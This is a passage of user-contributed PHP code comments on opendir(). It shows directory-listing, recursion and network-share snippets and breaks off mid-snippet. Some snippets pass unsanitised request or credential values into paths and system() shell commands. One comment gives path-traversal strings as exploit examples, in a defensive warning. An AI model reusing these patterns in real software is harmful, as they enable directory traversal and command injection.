The JSIncluder should be safe, because all the work is done server-side and clients just can't affect anything. They could write /*include:/foo/bar*/ but nothing will happen, because the code does nothing but automatically generates <script> tags in specific order in your <head> section.

Feel free to modify my code. I believe that it will be useful!
cgray at metamedia dot us 28-Jul-2010 07:36
To extend the examples already given into something more flexible and complete.
-c!

<?php
/**
* directory_list
* return an array containing optionally all files, only directiories or only files at a file system path
* @author     cgray The Metamedia Corporation www.metamedia.us
*
* @param    $base_path         string    either absolute or relative path
* @param    $filter_dir        boolean    Filter directories from result (ignored except in last directory if $recursive is true)
* @param    $filter_files    boolean    Filter files from result
* @param    $exclude        string    Pipe delimited string of files to always ignore
* @param    $recursive        boolean    Descend directory to the bottom?
* @return    $result_list    array    Nested array or false
* @access public
* @license    GPL v3
*/
function directory_list($directory_base_path, $filter_dir = false, $filter_files = false, $exclude = ".|..|.DS_Store|.svn", $recursive = true){
    $directory_base_path = rtrim($directory_base_path, "/") . "/";

    if (!is_dir($directory_base_path)){
        error_log(__FUNCTION__ . "File at: $directory_base_path is not a directory.");
        return false;
    }

    $result_list = array();
    $exclude_array = explode("|", $exclude);

    if (!$folder_handle = opendir($directory_base_path)) {
        error_log(__FUNCTION__ . "Could not open directory at: $directory_base_path");
        return false;
    }else{
        while(false !== ($filename = readdir($folder_handle))) {
            if(!in_array($filename, $exclude_array)) {
                if(is_dir($directory_base_path . $filename . "/")) {
                    if($recursive && strcmp($filename, ".")!=0 && strcmp($filename, "..")!=0 ){ // prevent infinite recursion
                        error_log($directory_base_path . $filename . "/");
                        $result_list[$filename] = directory_list("$directory_base_path$filename/", $filter_dir, $filter_files, $exclude, $recursive);
                    }elseif(!$filter_dir){
                        $result_list[] = $filename;
                    }
                }elseif(!$filter_files){
                    $result_list[] = $filename;
                }
            }
        }
        closedir($folder_handle);
        return $result_list;
    }
}
?>
diego at moon-sand dot net 16-Oct-2009 04:49
Correction on the previous function. Was missing full path on recursive line.

<? function file_array($path, $exclude = ".|..", $recursive = true) {
    $path = rtrim($path, "/") . "/";
    $folder_handle = opendir($path);
    $exclude_array = explode("|", $exclude);
    $result = array();
    while(false !== ($filename = readdir($folder_handle))) {
        if(!in_array(strtolower($filename), $exclude_array)) {
            if(is_dir($path . $filename . "/")) {
                                // Need to include full "path" or it's an infinite loop
                if($recursive) $result[] = file_array($path . $filename . "/", $exclude, true);
            } else {
                $result[] = $filename;
            }
        }
    }
    return $result;
}
?>
jamon at clearsightdesign dot com 15-Sep-2009 01:32
Another take on olivernasser's function below. I find this one slightly easier to understand.

<?php
    // file_array() by Jamon Holmgren. Exclude files by putting them in the $exclude
    // string separated by pipes. Returns an array with filenames as strings.
    function file_array($path, $exclude = ".|..", $recursive = false) {
        $path = rtrim($path, "/") . "/";
        $folder_handle = opendir($path);
        $exclude_array = explode("|", $exclude);
        $result = array();
        while(false !== ($filename = readdir($folder_handle))) {
            if(!in_array(strtolower($filename), $exclude_array)) {
                if(is_dir($path . $filename . "/")) {
                    if($recursive) $result[] = file_array($path, $exclude, true);
                } else {
                    $result[] = $filename;
                }
            }
        }
        return $result;
    }
?>
olivernassar.com 03-Aug-2009 01:46
Hopefully this helps someone else. Returns a list of all the files in the directory and any subdirectories.
Excludes files/folders that are in the $exempt array. Can modifiy it so files aren't passed by reference fairly easily.

<?php

    function getFiles($directory,$exempt = array('.','..','.ds_store','.svn'),&$files = array()) {
        $handle = opendir($directory);
        while(false !== ($resource = readdir($handle))) {
            if(!in_array(strtolower($resource),$exempt)) {
                if(is_dir($directory.$resource.'/'))
                    array_merge($files,
                        self::getFiles($directory.$resource.'/',$exempt,$files));
                else
                    $files[] = $directory.$resource;
            }
        }
        closedir($handle);
        return $files;
    }

?>
Anonymous 24-Jul-2009 08:42
If you want to iterate through a directory, have a look at the SPL DirectoryIterator:
http://php.net/manual/class.directoryiterator.php
Madog Llwyd 09-May-2009 05:22
A simple piece to open a directory and display any files with a given extension. Great for things like newsletters, score sheets or the like where you just want to make it easy on the user - they just dump in the file with the correct extension and it's done. A link is given to the file which opens up in a new window.

<?php
  $current_dir = "$DOCUMENT_ROOT"."dirname/";    //Put in second part, the directory - without a leading slash but with a trailing slash!
  $dir = opendir($current_dir);        // Open the sucker

  echo ("<p><h1>List of available files:</h1></p><hr><br />");
  while ($file = readdir($dir))            // while loop
    {
    $parts = explode(".", $file);                    // pull apart the name and dissect by period
    if (is_array($parts) && count($parts) > 1) {    // does the dissected array have more than one part
        $extension = end($parts);        // set to we can see last file extension
        if ($extension == "ext" OR $extension == "EXT")    // is extension ext or EXT ?
             echo "<a href=\"$file\" target=\"_blank\"> $file </a><br />";    // If so, echo it out else do nothing cos it's not what we want
        }
    }
  echo "<hr><br />";
  closedir($dir);        // Close the directory after we are done
?>
guanfenglin at gmail dot com 29-Apr-2009 03:32
I wrote this code to list all the files except directories

<?php
filesInDir('../data/pages');
function filesInDir($tdir)
{
        $dirs = scandir($tdir);
        foreach($dirs as $file)
        {
                if (($file == '.')||($file == '..'))
                {
                }
                elseif (is_dir($tdir.'/'.$file))
                {
                        filesInDir($tdir.'/'.$file);
                }
                else
                {
                        echo $tdir.'/'.$file."<br>";
                }
        }
}
?>
DaveRandom 18-Apr-2009 09:08
A couple of notes on Matt's posts on Windows Network Drives:

Since the system() command writes the output of the executed shell command straight to the output buffer, if you wish to hide the return of the mapping command (i.e. "The command completed succesfully" or an error message) from a web browser, you need to alter the command that is sent to the shell so that the output of that command is hidden.

You probably thinking "why not just use exec()?", and it's a reasonable question, but for some reason it doesn't always work - I guess it's another NT user permissions issue. If you want to guarantee you app will work with no messing around on the host system, use the system() command.

In the Windows command shell, you can hide the output of a command by sending both the output (1) and error (2) messages to "nul" using pipes, in other words ">nul 2>&1" on the end of the command. The username and password order in the "net use..." command needs switching in Matt's post.

Here (http://networkm.co.uk/static/drive.html) is a function I wrote to dynamically choose which drive letter to use, based on what is currently mapped and accessible to PHP.

<?php

// Define the parameters for the shell command
$location = "\\servername\sharename";
$user = "USERNAME";
$pass = "PASSWORD";
$letter = "Z";

// Map the drive
system("net use ".$letter.": \"".$location."\" ".$pass." /user:".$user." /persistent:no>nul 2>&1");

// Open the directory
$dir = opendir($letter.":/an/example/path")

...

?>
Nathaniel Sabanski 15-Mar-2009 04:49
Simple way to read all regular files in a directory. (Excluding contained directories, symbolic links.. etc.)

<?php

$dir = "../files";

if($handle = opendir($dir))
{
    while($file = readdir($handle))
    {
        clearstatcache();
        if(is_file($dir.'/'.$file))
            echo $file;
    }
    closedir($handle);
}

?>

[NOTE BY danbrown AT php DOT net: Contains a bug fix submitted by (php1602 AT mail DOT ru) on 17-APR-09.]
Richard Bronosky 11-Mar-2009 09:14
The easiest way to get a dir listing and sort it is to exec() out to ls (eg:'ls -t'). But, that is considered "unsafe". My hosting company finally caught me doing it so here is my fastest solution. (Lucky for me each file is created with a Unix Timestamp at the end of the name and no other numbers in it.)

<?php
#exec('ls -t ./images/motion_detection/', $files); # They outlawed exec, so now I have to do it by hand.
if ($handle = opendir('./images/motion_detection/')) {
    $files=array();
    while (false !== ($file = readdir($handle))) {
        $files[$file] = preg_replace('/[^0-9]/', '', $file); # Timestamps may not be unique, file names are.
    }
    closedir($handle);
    arsort($files);
    $files=array_keys($files);
}
?>

Before you go copying someone's bloat kitchen sink function/class, consider what you have and what you really need.
matt 21-Feb-2009 02:50
I tried it as in the post before described, but it still won't work. Maybe cause i'm using an Apache-Server on Windows 2003 Server.

Now, i found a way that it works and i got access to the share. First of all, you need to set the run user for Apache to a user that has access to the share (see in post before).
Then map your drive in the php script before you read the dir:

system('net use K: \\servername\sharename /user:username password /persistent:no');

$share = opendir('\\\\servername\\sharename');
....
Post from everything2 dot com 06-Dec-2008 11:54
when you run Apache as a service on your Windows computer, it chooses to run as the LocalSystem account by default (usually SYSTEM). The LocalSystem account has no network privileges whatsoever which, while no doubt a good thing, makes it impossible to access networked resources (such as a shared drive) in your Apache service.

First, you have to change the user the Apache service runs as.
Go to your Services panel (Start -> Run -> "services.msc").
Find the Service labeled Apache, right-click, and hit Properties.
Choose the "Log On" tab.
Presumably you'll see that Apache is set up to run as the Local System Account. You'll want to change this to the second option, "This account", and then fill in the details of the User account you would like Apache to run under.
Some sites tell you to create a special Apache-based user account just for this occasion. It's not a bad idea, but then you have to make sure it has all of the proper permissions that an Apache user would need, such as read/write to to htdocs and the .conf and .log files, and permissions to log on as a service, etc etc - as well as the permissions to access the network resource you're trying to get to in the first place.
In light of that process, I chose to just run it under my own account instead. Once you get it working, you can go back and create that special account.
Hit "Apply" - it'll pop up a box saying you need to restart Apache to take effect, but hold off on that for a moment.
This is the tricky part: you have to give the user (the one you're running Apache as) permissions to act as part of the OS.
Go to the Local Security Policy panel (Start -> Run -> "secpol.msc").
Under the navigation section in the left sidebar, choose Local Policies -> User Rights Assignments.
In the right-hand frame, double-click the item "Act as part of the operating system" to open up its properties.
Select "Add User or Group, Enter the appropriate user in the box provided, and hit "OK."
At this point, you are technically complete - Apache can now do the same things to the network resource that your user can - read, write, execute, whatever. However, in my case, I was trying to create an actual readable resource, so I edited my Apache config file to create an alias to my share.
Open up your Apache configuration file. For most people it's httpd.conf in the conf subdirectory of your Apache install directory.
Add the following text to your config file (obviously substituting your UNC for "//servername/sharename" and renaming ALIAS_DIRECTORY to whatever you'd like):

Alias /ALIAS_DIRECTORY "//servername/sharename"

<Directory "//servername/sharename">
    Options Indexes
    AllowOverride None
    Order allow,deny
    Allow from all
</Directory
The other thing that is tricky and caught me up is that unlike Windows UNCs, the Apache config file requires forward slashes, not backslashes. So if you're copying the UNC directly from Windows, you'll have to turn all those slashes around.

Now you can restart your Apache service. Take a swing over to http://your.site.name/ALIAS_DIRECTORY and you should be able to view the network resource just fine.
php at uchange dot co dot uk 05-Dec-2008 09:36
Having spent an hour or so trying to get a complete list of files from a network share on Windows, I've given up (Apache 2.2 Win32, WinXP, PHP5 -> Windows 2000 R2).

Trying to use a mapped drive letter gives me an error and trying to use the UNC path works but is dog slow (it takes a couple of minutes to open and readdir() a directory with a couple of hundred files).

Using this code is fast and instant (you'll have to chop up the output yourself but so be it!)

$out = `dir $dir /B /S`;

If you don't need recursive subdirectories remove the /S from the command - for more details run 'dir /?' on Windows.

Hope this helps somebody in a similar fix!
archipel dot gb at online dot fr 22-Jun-2008 10:20
Here are two versions of the same function to list all files in a directory tree.

The first one is recursive (calls itself while going through subdirectories) :
<?php
function rec_listFiles( $from = '.')
{
    if(! is_dir($from))
        return false;

    $files = array();
    if( $dh = opendir($from))
    {
        while( false !== ($file = readdir($dh)))
        {
            // Skip '.' and '..'
            if( $file == '.' || $file == '..')
                continue;
            $path = $from . '/' . $file;
            if( is_dir($path) )
                $files += rec_listFiles($path);
            else
                $files[] = $path;
        }
        closedir($dh);
    }
    return $files;
}
?>

The second one is iterative (uses less memory) :
<?php
function listFiles( $from = '.')
{
    if(! is_dir($from))
        return false;

    $files = array();
    $dirs = array( $from);
    while( NULL !== ($dir = array_pop( $dirs)))
    {
        if( $dh = opendir($dir))
        {
            while( false !== ($file = readdir($dh)))
            {
                if( $file == '.' || $file == '..')
                    continue;
                $path = $dir . '/' . $file;
                if( is_dir($path))
                    $dirs[] = $path;
                else
                    $files[] = $path;
            }
            closedir($dh);
        }
    }
    return $files;
}
?>
The iterative version should be a little faster most of the time, but the big difference is in the memory usage.

Here is also a profiling function (works in php5 only) :
<?php
function profile( $func, $trydir)
{
    $mem1 = memory_get_usage();
    echo '<pre>-----------------------
Test run for '.$func.'() ...
'; flush();

    $time_start = microtime(true);
    $list = $func( $trydir);
    $time = microtime(true) - $time_start;

    echo 'Finished : '.count($list).' files</pre>';
    $mem2 = memory_get_peak_usage();

    printf( '<pre>Max memory for '.$func.'() : %0.2f kbytes
Running time for '.$func.'() : %0.f s</pre>',
    ($mem2-$mem1)/1024.0, $time);
    return $list;
}
?>
kdouglas at satarah dot com 15-May-2008 04:22
Breadth-first-search (BFS) for a file or directory (vs. Depth-first-search)
http://en.wikipedia.org/wiki/Breadth-first_search

<?php

// Breadth-First Recursive Directory Search, for a File or Directory
// with optional black-list paths and optional callback function.
//
// $root -- is the relative path to the start-of-search directory
// $file -- is the qualified file name: 'name.ext' EX: 'data.xml'
//    (or) $file -- is the target directory name EX: 'xml_files'
// $callback -- is an optional function name and will be passed all
//    matching paths EX: 'my_func', instead of exiting on first match
// $omit -- is an optional array of exclude paths -- relative to root
//    To use $omit but not $callback, pass NULL as the $callback argument
//
// TESTING VALUES FOLLOW ...

function my_func ( $path ) {
  print "<strong>$path</strong><br>\n";
}

$root = '../public_html';
$file = 'data.xml';
$callback = 'my_func';
$omit = array( 'include/img', 'include/css', 'scripts' );

//print breadth_first_file_search ( $root, $file );
//print breadth_first_file_search ( $root, $file, $callback );
//print breadth_first_file_search ( $root, $file, NULL, $omit );
print breadth_first_file_search ( $root, $file, $callback, $omit );

function breadth_first_file_search ( $root, $file, $callback = NULL, $omit = array() ) {
  $queue = array( rtrim( $root, '/' ).'/' ); // normalize all paths
  foreach ( $omit as &$path ) { // &$path Req. PHP ver 5.x and later
    $path = $root.trim( $path, '/' ).'/';
  }
  while ( $base = array_shift( $queue ) ) {
    $file_path = $base.$file;
    if ( file_exists( $file_path ) ) { // file found
      if ( is_callable( $callback ) ) {
        $callback( $file_path ); // callback => CONTINUE
      } else {
        return $file_path; // return file-path => EXIT
      }
    }
    if ( ( $handle = opendir( $base ) ) ) {
      while ( ( $child = readdir( $handle ) ) !== FALSE ) {
        if ( is_dir( $base.$child ) && $child != '.' && $child != '..' ) {
          $combined_path = $base.$child.'/';
          if ( !in_array( $combined_path, $omit ) ) {
            array_push( $queue, $combined_path);
          }
        }
      }
      closedir( $handle );
    } // else unable to open directory => NEXT CHILD
  }
  return FALSE; // end of tree, file not found
}

?>
info at myweb dot lu 15-May-2008 08:01
Read a Windows SMB Directory ;)

<?

function SMBMap($username, $password, $server, $dir) {
    $command = "mount -t smbfs -o username=$username,password=$password //$server/$dir /mnt/tmp";
    echo system($command);
}

function SMBRelease() {
    $command = "umount /mnt/tmp";
    echo system($command);
}

function GetFiles($dir) {
    $files = array();
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {
            while (($file = readdir($dh)) !== false) {
                $files[] = $file."{".filetype("$dir/$file")."}";
            }
            closedir($dh);
        }
    }
    return $files;
}

SMBMap("Daniel", "", "10.0.0.2", "Kram");
$any = GetFiles("/mnt/tmp");
SMBRelease();
print_r($any);

?>
Peter Hkansson 11-Dec-2007 09:01
Would you like to view your directories in your browser this script might come in handy.

<?php
$sub = ($_GET['dir']);
$path = 'enter/your/directory/here/';
$path = $path . "$sub";
$dh = opendir($path);
$i=1;
while (($file = readdir($dh)) !== false) {
    if($file != "." && $file != "..") {
            if (substr($file, -4, -3) =="."){
            echo "$i. $file <br />";
            }else{
        echo "$i. <a href='?dir=$sub/$file'>$file</a><br />";
          }
        $i++;
    }
}
closedir($dh);
?>
mana at averna dot com 07-Dec-2007 03:02
I was trying to access network drives using this opendir function. I read so many posts saying that it was almost impossible to access a network drive and finally, I found the answer; there are 2 steps to be followed to access a network drive with PHP either on the same machine or another machine.

But first of all, here's the error I was getting:
Warning: opendir(\\server\folder1\sub_folder) [function.opendir]: failed to open dir: No error in C:\wamp\www\PMOT\v0.1\REPORT_MENU\index.php on line 17

Firstly, one must make sure that the folder \\server\folder1\sub_folder can be accessed by a user, let's say USER_TEST with a password PASS_TEST. By setting properties to this folder, one can add this given user with the correct password (USER_TEST with PASS_TEST).

Secondly, the APACHE service must be set-up to take this user into account. If no user is specified, APACHE uses an anonymous user and this is where the problem/error message is coming from. One must go in control panel->administrative tools->services. One will see the list of services and must look for APACHE with Apache/2.X.X in the description. (For Wampserver, it will be called wampapache, and so on!) Right click on that and pop up the properties screen. In the tab LOG ON, there are 2 options: local system account and "this account" which will be a user specified account. This is where one must specify the USER_TEST and PASS_TEST.

Following these steps worked perfectly for me but if either the folder privileges or apache log on user is disabled, then I get the initial aforementioned error message.

Anyways, I hope this can help out someone!

Cheers!

Marc
microhost at msn dot com 27-Nov-2007 08:14
<?php
// images dir

$path = "../imp/images/";
//images them dir
$patha ="../imp/them";
$dh = opendir($path);
while ($file = readdir($dh))
if($file != "." && $file != ".." && $file != "Thumbs.db" && $file != "index.html" && $file != "index.php"      ) {
{
    echo"<a  href='#top'>
    <img border='0' src='$path/$file'  onclick=\"window.open('$patha/$file', 'poppage$idd', 'toolbars=0, scrollbars=0, location=0, statusbars=0, menubars=0, resizable=1, $gg, left = 150, top = 50')\";    >
    ";
}
}
closedir($dh); // close dir
?>

when you need view images in folder
MetaNull 04-Oct-2007 12:04
How to find files in a directory, using regular expressions (case-sensitive or not)

<?php

clearstatcache();

$sourcepath = "C:/WINDOWS/TEMP";

// Replace \ by / and remove the final / if any
$root = ereg_replace( "/$", "", ereg_replace( "[\\]", "/", $sourcepath ));

// Search for text files
$results = m_find_in_dir( $root, ".*\.txt" );
if( false === $results ) {
    echo "'{$sourcepath}' is not a valid directory\n";
} else {
    print_r( $results );
}

/**
 * Search for a file maching a regular expression
 *
 * @param string $root Root path
 * @param string $pattern POSIX regular expression pattern
 * @param boolean $recursive Set to true to walk the subdirectories recursively
 * @param boolean $case_sensitive Set to true for case sensitive search
 * @return array An array of string representing the path of the matching files, or false in case of error
 */
function m_find_in_dir( $root, $pattern, $recursive = true, $case_sensitive = false ) {
    $result = array();
    if( $case_sensitive ) {
        if( false === m_find_in_dir__( $root, $pattern, $recursive, $result )) {
            return false;
        }
    } else {
        if( false === m_find_in_dir_i__( $root, $pattern, $recursive, $result )) {
            return false;
        }
    }

    return $result;
}

/**
 * @access private
 */
function m_find_in_dir__( $root, $pattern, $recursive, &$result ) {
    $dh = @opendir( $root );
    if( false === $dh ) {
        return false;
    }
    while( $file = readdir( $dh )) {
        if( "." == $file || ".." == $file ){
            continue;
        }
        if( false !== @ereg( $pattern, "{$root}/{$file}" )) {
            $result[] = "{$root}/{$file}";
        }
        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
            m_find_in_dir__( "{$root}/{$file}", $pattern, $recursive, $result );
        }
    }
    closedir( $dh );
    return true;
}

/**
 * @access private
 */
function m_find_in_dir_i__( $root, $pattern, $recursive, &$result ) {
    $dh = @opendir( $root );
    if( false === $dh ) {
        return false;
    }
    while( $file = readdir( $dh )) {
        if( "." == $file || ".." == $file ){
            continue;
        }
        if( false !== @eregi( $pattern, "{$root}/{$file}" )) {
            $result[] = "{$root}/{$file}";
        }
        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
            m_find_in_dir__( "{$root}/{$file}", $pattern, $recursive, $result );
        }
    }
    closedir( $dh );
    return true;
}

?>
MetaNull 04-Oct-2007 11:39
An other way to recursively walk a directory and it's content, applying a callback to each file.

Exemple: Update the last modification time of each file in a folder

<?php

clearstatcache();

$sourcepath = "C:/WINDOWS/TEMP";

// Replace \ by / and remove the final / if any
$root = ereg_replace( "/$", "", ereg_replace( "[\\]", "/", $sourcepath ));
// Touch all the files from the $root directory
if( false === m_walk_dir( $root, "m_touch_file", true )) {
    echo "'{$root}' is not a valid directory\n";
}

// Walk a directory recursivelly, and apply a callback on each file
function m_walk_dir( $root, $callback, $recursive = true ) {
    $dh = @opendir( $root );
    if( false === $dh ) {
        return false;
    }
    while( $file = readdir( $dh )) {
        if( "." == $file || ".." == $file ){
            continue;
        }
        call_user_func( $callback, "{$root}/{$file}" );
        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
            m_walk_dir( "{$root}/{$file}", $callback, $recursive );
        }
    }
    closedir( $dh );
    return true;
}

// if the path indicates a file, run touch() on it
function m_touch_file( $path ) {
    echo $path . "\n";
    if( !is_dir( $path )) {
        touch( $path );
    }
}

?>
arjan at wepwn dot nl 09-Sep-2007 12:03
A simple function to count all the files and/or dirs inside a dir.
With optional extention when counting files.

Index of /
Some text file.txt
files/
num_files.phps
test.php

<?php
function num_files($dir, $type, $ext="")
{
// type 1: files only
// type 2: direcories only
// type 3: files and directories added
// type 4: files and directories separated with a space

    if (!isset($dir) OR empty($dir))
    {
        echo '<b>Syntax error:</b> $dir value empty.';
        exit;
    }

    $num_files = 0;
    $num_dirs = 0;
    switch($type)
    {
        case 1: // count only files, not dirs
            if ($dir = @opendir($dir))
            {
                while (($file = readdir($dir)) !== false)
                {
                    if(is_file($file) AND $file != "." AND $file != "..")
                    {
                        if (isset($ext) AND !empty($ext))
                        {
                            $extension = end(explode(".", $file));
                            if ($ext == $extension)
                            {
                                $num_files++;
                            }
                        }
                        else
                        {
                            $num_files++;
                        }
                    }
                }
                closedir($dir);
                $total = $num_files;
            }
        break;

        case 2: // count only dirs, not files
            if ($dir = @opendir($dir))
            {
                while (($file = readdir($dir)) !== false)
                {
                    if(is_dir($file) AND $file != "." AND $file != "..")
                    {
                        $num_dirs++;
                    }
                }
                closedir($dir);
                $total = $num_dirs;
            }
        break;

        case 3: // count files PLUS dirs in once variable
            if ($dir = @opendir($dir))
            {
                while (($file = readdir($dir)) !== false)
                {
                    if(is_dir($file) OR is_dir($file))
                    {
                        if ($file != "." AND $file != "..")
                        {
                            $num_files++;
                        }
                    }
                }
                closedir($dir);
                $total = $num_files;
            }
        break;

        case 4: // count files AND dirs separately
            if ($dir = @opendir($dir))
            {
                while (($file = readdir($dir)) !== false)
                {
                    if(is_file($file) AND $file != "." AND $file != "..")
                    {
                        $num_files++;
                    }

                    if(is_dir($file) AND $file != "." AND $file != "..")
                    {
                        $num_dirs++;
                    }
                }
                closedir($dir);
                $total = $num_files." ".$num_dirs;
            }
        break;

        default:
            echo '<b>Syntax error:</b> $type value empty.';
        break;
    }

    return $total;
}

echo num_files($_SERVER['DOCUMENT_ROOT'], 1, "php"). " file(s) met php extention<br /> ";
echo num_files($_SERVER['DOCUMENT_ROOT'], 1). " file(s)<br />";
echo num_files($_SERVER['DOCUMENT_ROOT'], 2). " dir(s)<br />";
echo num_files($_SERVER['DOCUMENT_ROOT'], 3). " file(s) + dir(s)<br />";
$nummers = explode(" ", num_files($_SERVER['DOCUMENT_ROOT'], 4));
echo reset($nummers) ." file(s) en ". end($nummers) ." dir(s)";
?>

will output:
1 file(s) with php extention
3 file(s)
1 dir(s)
1 file(s) + dir(s)
3 file(s) en 1 dir(s)
lolwut 13-May-2007 06:00
I sometimes find this useful. Hope you will too.

<?php
//list_by_ext: returns an array containing an alphabetic list of files in the specified directory ($path) with a file extension that matches $extension

function list_by_ext($extension, $path){
    $list = array(); //initialise a variable
    $dir_handle = @opendir($path) or die("Unable to open $path"); //attempt to open path
    while($file = readdir($dir_handle)){ //loop through all the files in the path
        if($file == "." || $file == ".."){continue;} //ignore these
        $filename = explode(".",$file); //seperate filename from extenstion
        $cnt = count($filename); $cnt--; $ext = $filename[$cnt]; //as above
        if(strtolower($ext) == strtolower($extension)){ //if the extension of the file matches the extension we are looking for...
            array_push($list, $file); //...then stick it onto the end of the list array
        }
    }
    if($list[0]){ //...if matches were found...
    return $list; //...return the array
    } else {//otherwise...
    return false;
    }
}

//example usage
if($win32_exectuables = list_by_ext("exe", "C:\WINDOWS")){
    var_dump($win32_exectuables);
} else {
    echo "No windows executables found :(\n";
}

?>
Michael mt1955 (a) gmail.com 11-May-2007 07:59
# simple directory walk with callback function

<?php
function callbackDir($dir)
{
   # do whatever you want here
   echo "$dir\n";
}

function walkDir($dir,$fx)
{
  $arStack = array();
  $fx($dir);
  if( ($dh=opendir($dir)) )
  { while( ($file=readdir($dh))!==false )
    { if( $file=='.' || $file=='..' ) continue;
      if( is_dir("$dir/$file") )
      { if( !in_array("$dir/$file",$arStack) ) $arStack[]="$dir/$file";
      }
    }
    closedir($dh);
  }
  if( count($arStack) )
  { foreach( $arStack as $subdir )
    { walkDir($subdir,$fx);
    }
  }
}

walkDir($root,callBackDir);
?>
Dblurred 07-May-2007 05:04
In reponse to Tozeiler.  Nice short directory dump.  However, that displays the "." and "..".  This removes those.  It also makes an ordered list in case I needed to be on the phone while looking at the page.  Easy to call out.

<?php

$path = "your path";
$dh = opendir($path);
$i=1;
while (($file = readdir($dh)) !== false) {
    if($file != "." && $file != "..") {
        echo "$i. <a href='$path/$file'>$file</a><br />";
        $i++;
    }
}
closedir($dh);
?>
samantha dot vincent at gmail dot com 02-May-2007 11:46
Using Apache 2.2.4 with PHP and MySQL I was trying to connect to a Novell Netware drive using opendir("R:/") where R: was pointing to a Netware resource on another server. The error returned was

Warning: opendir(R:/) [function.opendir]: failed to open dir: No such file or directory in path/to/my/phpfile/containing/opendir on line 34.

Basically it is a problem with Netware rights and users and how the apache service was trying to connect to the resource.

To get everything working as expected in the end we set up a Windows user account eg: webhost with the same password as a Netware account with username webhost, set the Netware account to have rights to the resource R:/ (we just used admin rights), and set the apache service to run as the webhost user using the username password combo.

Hope this helps someone else out.
.....alexander[at]gmail.com 14-Apr-2007 10:13
This is a script that prints all the file and directory names  on your server no matter where the script file is located
(could take a lot of time to execute, if you have a lot of directories and files...)
Hope someone finds it useful...

<?php
print $_SERVER['DOCUMENT_ROOT'] . "<br />";
$root = @opendir($_SERVER['DOCUMENT_ROOT']);
$dirs = array();

while($file = readdir($root)){
    print $file;
    if((is_dir($file) || !stristr($file, ".")) && $file!="." && $file!=".."){
         $dirs[] = ($_SERVER['DOCUMENT_ROOT'] . "/" . $file);
    print "(adding directory)";
    }
    print  "<br />";
}
closedir($root);

print "<br /><br />Inside Dirs: (" . (count($dirs)) . ")<br />";

$i = 0;
    while($i < count($dirs)){

        $d = @opendir($dirs[$i]);
        print "<br /><br />Directory: " . $dirs[$i] . "<br />";

        while($f = readdir($d)){
            print $f;

            if((is_dir($f) || !stristr($f, ".")) && $f!="." && $f!=".."){
                 $dirs[] = $dirs[$i]  . "/" .  $f;
            print "(adding directory)";
            }

            print "<br />";
        }
        closedir($d);

        $i = $i + 1;
    }
$i = $i - 1;

?>
NerdyDork 08-Feb-2007 08:36
Here is a snippet to create a site map of all html files in a folder:

<?php
    // read all html file in the current directory
    if ($dh = opendir('./')) {
        $files = array();
        while (($file = readdir($dh)) !== false) {
            if (substr($file, strlen($file) - 5) == '.html') {
                array_push($files, $file);
            }
        }
        closedir($dh);
    }

    // Sort the files and display
    sort($files);
    echo "<ul>\n";
    foreach ($files as $file) {
        $title = Title($file);
        echo "<li><a href=\"$file\" title=\"$title\">$title</a></li>\n";
    }
    echo "</ul>\n";

    // Function to get a human readable title from the filename
    function Title($filename) {
        $title = substr($filename, 0, strlen($filename) - 5);
        $title = str_replace('-', ' ', $title);
        $title = ucwords($title);
        return $title;
    }
?>
frogstarr78 at yahoo dot com 21-Jan-2007 12:30
Here's a function that will recrusively turn a directory into a hash of directory hashes and file arrays, automatically ignoring "dot" files.

<?php
function hashify_directory($topdir, &$list, $ignoredDirectories=array()) {
    if (is_dir($topdir)) {
        if ($dh = opendir($topdir)) {
            while (($file = readdir($dh)) !== false) {
                if (!(array_search($file,$ignoredDirectories) > -1) && preg_match('/^\./', $file) == 0) {
                    if (is_dir("$topdir$file")) {
                        if(!isset($list[$file])) {
                            $list[$file] = array();
                        }
                        ksort($list);
                        hashify_directory("$topdir$file/", $list[$file]);
                    } else {
                        array_push($list, $file);
                    }
                }
            }
            closedir($dh);
        }
    }
}
?>

e.g.
<?php
$public_html["StudentFiles"] = array();
hashify_directory("StudentFiles/", $public_html["StudentFiles"]);
?>
on the directory structure:
./StudentFiles/tutorial_01/case1/file1.html
./StudentFiles/tutorial_01/case1/file2.html
./StudentFiles/tutorial_02/case1/file1.html
./StudentFiles/tutorial_02/case2/file2.html
./StudentFiles/tutorial_03/case1/file2.html
etc...
becomes:
<?php
print_r($public_html);
/*
outputs:
array(
  "StudentFiles" => array (
        "tutorial_01" => array (
              "case1" => array( "file1.html", "file2.html")
        ),
        "tutorial_02" => array (
              "case1" => array( "file1.html"),
              "case2" => array( "file2.html")
        ),
       "tutorial_03" => array (
              "case1" => array( "file2.html")
       )
  )
)
*/
?>
I'm using it to create a tree view of a directory.
phpguy at mailstop dot yogelements dot omitme dot com 13-Dec-2006 01:40
An issue that I ran into is that opendir() could care less if you've got server authentication set on sub directories and so any such authentication is bypassed completely when accesses in this way. I did solve it for my application of a pretty file manager, by redirecting to all sub directories thusly:
$fdir = "./subdirectory_I_want_to_visit/";
if ($fdir != './') { //basically where we are or the parent
    //redirect the browser to force authentication check on any subdirectories
    header("Location: http://my.domain.com".dirname($_SERVER["PHP_SELF"]).substr($fdir,2));
    exit;
} else {
    $dir = opendir($fdir);
}
tony at glccom dot com 01-Nov-2006 09:49
John & I have edited the code posted by hendrik dot wermer at gmx dot de on 07-Feb-2005 06:06

This Code now allows for downloads form sub directories. We also used CSS to make the page's look customizable.

You can view the example at: http://www.asterikast.com/code/dirlist.txt
Christian 26-Jul-2006 03:10
Pointing on the previous post, I'd like to say the following.

You can use opendir on all valid (existant and reachable) folders.
This counts not only for windows but also for linux.
Under linux, you can also read root folders etc.

To avoid access to non-public data, you should check the given parameter for opendir before executing opendir.

Let's say you have this:

/home/users/mrsmith/
/home/users/mrsmith/info.txt
/home/users/mrsmith/test/photo.jpg
/home/users/mradmin/private.txt

Now you don't want mrsmith to access mradmin's folders/files.
In that case you could/should define the path where the data MUST be inside.

Attention:
Don't check the data with substr though, it's not a secure solution.
Exploit example: /home/users/mrsmith/../mradmin/
Exploit example2: /home/users/mrsmith/../../../../../../../../../../../../../dev/

I'd do a case sensitive regex match.
So after the first folder there may not be a subfolder named ".." because that would jump one folder back.

I hope this isn't too offtopic or so but I think it's important to think of that when creating file systems.
tim2005 13-May-2006 05:04
Hello,

A friend of mine is running a webhost, I think i found a security leak with this script:

<?php
function select_files($dir, $label = "", $select_name, $curr_val = "", $char_length = 30) {
    $teller = 0;
